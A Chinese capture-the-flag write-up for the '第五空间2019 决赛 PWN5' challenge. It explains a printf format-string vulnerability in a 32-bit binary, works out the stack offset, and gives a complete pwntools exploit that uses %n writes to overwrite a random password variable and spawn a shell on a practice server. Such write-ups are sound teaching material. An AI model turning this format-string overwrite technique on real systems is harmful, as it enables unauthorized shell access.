[第五空间2019 决赛]PWN5

查看程序

image-20221006194538506

得知该程序为i386的32位程序

其次就是该程序开始了Canary、NX保护

首要任务:如何突破Canary保护。(使用printf突破Canary保护)

IDA分析程序

main

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);		//读取4字节的文件内容
  printf("your name:");
  read(0, buf, 0x63u);		//读取0x63字节的输入内容,格式化字符串注入点
  printf("Hello,");
  printf(buf);				//输出刚才输入的内容,考虑格式化字符串漏洞突破Canary
  printf("your passwd:");
  read(0, nptr, 0xFu);		//读取0xf字节的输入内容
  if ( atoi(nptr) == dword_804C044 )	//考虑使之成立
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

read(fd, &dword_804C044, 4u); 我们跟进dword_804C044变量所处地址;

变量dword_804C044

image-20221007091305124

可以发现dword_804C044变量处于.bss段,并且地址位于0x804C044;

所以我们可以通过格式化字符串漏洞的任意地址修改更改地址0x804C044的值,使if语句成立即可获取权限;

漏洞利用

利用原理

可以通过格式化字符串漏洞修改任意地址内容的利用关键是

%n	//不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%10$n //不输出字符,将已经输出的字符个数存储到第10个栈参数对应的地址上

分析检测

通过在输入 buf处输入特殊格式的字符串,来检测栈中参数与存储地址的偏移量

image-20221007093120106

输出结果如图所示

image-20221007093343147

我们可以看出,我们所输入的 aaaa被存储到了第10个栈参数的位置,所以对应的偏移为10

构造注入payload

只需要利用好 %m$n对地址的修改即可

构造payload

payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047) + b'%10$n%11$n%12$n%13$n'

先将我们需要修改的地址0x804C044以后后3个地址输入,由于读取内容为4个字节 read(fd, &dword_804C044, 4u);

然后将这4个地址对应的存储位置,通过%m$n将对应地址内容修改为输出的字符个数;

由于输入四个地址,对应输出16个字节,也就是将每个地址(即0x804C044~0x804C047)的内容修改为0x10

偏移量为10,所以我们只需要对第10个到第13个参数对应的内容的地址进行修改即可;

最后构造密码 read(0, nptr, 0xFu);

由于我们将这四个地址(即0x804C044~0x804C047)存储的内容均修改为0x10,所以变量&dword_804C044读出的4个字节的内容即为 0x10101010

故我们读入密码为 str(0x10101010)即可

p.sendline(str(0x10101010))

最终exp如下

exp

from pwn import *

context = 'debug'
p = remote('node4.buuoj.cn',29866)
#p = process('./pwn')

def main():
	payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047) + b'%10$n%11$n%12$n%13$n'
	p.sendline(payload)
	p.sendline(str(0x10101010))
	p.interactive()


if __name__ == '__main__':
	main()

image-20221007094232534

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值